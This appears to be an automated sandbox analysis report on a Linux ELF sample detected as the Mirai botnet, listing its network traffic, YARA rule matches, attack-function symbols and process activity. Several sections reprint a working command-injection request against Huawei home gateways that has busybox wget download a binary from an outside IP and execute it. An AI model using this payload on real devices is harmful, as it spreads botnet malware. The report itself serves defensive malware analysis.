Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/WIwTo1UTMq.elf (PID: 5525)

Socket: 127.0.0.1:8345

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 41.246.125.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.103.19.122
Source: unknown	TCP traffic detected without corresponding DNS query: 157.19.62.113
Source: unknown	TCP traffic detected without corresponding DNS query: 41.254.241.72
Source: unknown	TCP traffic detected without corresponding DNS query: 184.188.4.253
Source: unknown	TCP traffic detected without corresponding DNS query: 157.157.132.237
Source: unknown	TCP traffic detected without corresponding DNS query: 41.234.183.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.12.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.78.44.191
Source: unknown	TCP traffic detected without corresponding DNS query: 197.79.237.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.194.216.242
Source: unknown	TCP traffic detected without corresponding DNS query: 157.53.239.53
Source: unknown	TCP traffic detected without corresponding DNS query: 197.30.1.118
Source: unknown	TCP traffic detected without corresponding DNS query: 157.0.130.246
Source: unknown	TCP traffic detected without corresponding DNS query: 41.143.15.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.197.180.14
Source: unknown	TCP traffic detected without corresponding DNS query: 207.108.14.112
Source: unknown	TCP traffic detected without corresponding DNS query: 197.167.160.236
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.157.81
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.175.32
Source: unknown	TCP traffic detected without corresponding DNS query: 61.22.190.108
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.65.41
Source: unknown	TCP traffic detected without corresponding DNS query: 157.99.99.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.116.207.198
Source: unknown	TCP traffic detected without corresponding DNS query: 41.113.87.213
Source: unknown	TCP traffic detected without corresponding DNS query: 157.144.55.235
Source: unknown	TCP traffic detected without corresponding DNS query: 197.136.189.68
Source: unknown	TCP traffic detected without corresponding DNS query: 197.174.75.69
Source: unknown	TCP traffic detected without corresponding DNS query: 41.190.82.104
Source: unknown	TCP traffic detected without corresponding DNS query: 41.167.142.160
Source: unknown	TCP traffic detected without corresponding DNS query: 197.130.107.44
Source: unknown	TCP traffic detected without corresponding DNS query: 157.131.83.80
Source: unknown	TCP traffic detected without corresponding DNS query: 197.113.28.145
Source: unknown	TCP traffic detected without corresponding DNS query: 41.234.173.92
Source: unknown	TCP traffic detected without corresponding DNS query: 157.194.249.71
Source: unknown	TCP traffic detected without corresponding DNS query: 197.76.235.85
Source: unknown	TCP traffic detected without corresponding DNS query: 157.253.160.68
Source: unknown	TCP traffic detected without corresponding DNS query: 211.6.214.175
Source: unknown	TCP traffic detected without corresponding DNS query: 149.76.30.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.30.179
Source: unknown	TCP traffic detected without corresponding DNS query: 197.112.4.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.12.225.63
Source: unknown	TCP traffic detected without corresponding DNS query: 41.160.9.226
Source: unknown	TCP traffic detected without corresponding DNS query: 158.129.148.234
Source: unknown	TCP traffic detected without corresponding DNS query: 197.1.219.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.232.167.103
Source: unknown	TCP traffic detected without corresponding DNS query: 197.96.107.38
Source: unknown	TCP traffic detected without corresponding DNS query: 197.32.97.173
Source: unknown	TCP traffic detected without corresponding DNS query: 217.255.162.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.119.153.117

Source: global traffic

DNS traffic detected: DNS query: cyberbotne.stresse.live

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: WIwTo1UTMq.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: WIwTo1UTMq.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: WIwTo1UTMq.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: WIwTo1UTMq.elf, type: SAMPLE	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth
Source: 5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 Author: unknown
Source: 5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp, type: MEMORY	Matched rule: Detects Mirai Botnet Malware Author: Florian Roth

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_eth
Source: ELF static info symbol of initial sample	Name: attack_gre_ip
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_kill_all
Source: ELF static info symbol of initial sample	Name: attack_ongoing
Source: ELF static info symbol of initial sample	Name: attack_parse

Source: WIwTo1UTMq.elf

ELF static info symbol of initial sample: __gnu_unwind_execute

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: WIwTo1UTMq.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: WIwTo1UTMq.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
Source: 5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 5525.1.00007f1cf8017000.00007f1cf802f000.r-x.sdmp, type: MEMORY	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/0@73/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/WIwTo1UTMq.elf (PID: 5531)

Deleted: /dev/kmsg

Jump to behavior

Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/WIwTo1UTMq.elf (PID: 5529)	File opened: /proc/142/cmdline	Jump to behavior
